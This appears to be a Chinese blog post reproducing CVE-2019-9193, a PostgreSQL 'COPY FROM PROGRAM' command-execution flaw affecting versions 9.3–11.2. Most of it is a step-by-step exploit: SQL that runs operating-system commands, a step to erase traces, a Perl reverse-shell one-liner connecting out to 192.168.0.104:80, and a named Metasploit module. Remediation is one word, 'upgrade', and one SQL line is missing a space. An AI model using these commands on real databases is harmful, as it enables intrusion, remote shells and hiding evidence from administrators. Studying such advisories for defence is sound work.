PostgreSQL高权限命令执行漏洞(CVE-2019-9193)

漏洞概述:

    PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

影响版本:

    9.3-11.2

漏洞复现:

首先需要链接数据库,然后执行下列命令。

1.[可选]删除你想用来保存命令输出但是可能存在的表

DROP TABLE IF EXISTS cmd_exec;

2.创建你用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

3.通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_execFROM PROGRAM 'id';

4.[可选]查看执行结果

SELECT * FROM cmd_exec;

5.[可选]清除痕迹

DROP TABLE IF EXISTS cmd_exec;

1
2

这里需要注意的是如果需要输出类似echo 'hello'命令需要用双引号转义。

在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

msf有模块可以反弹shell,利用multi/postgres/postgres_copy_from_program_cmd_exec模块。

漏洞修复:

升级版本

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容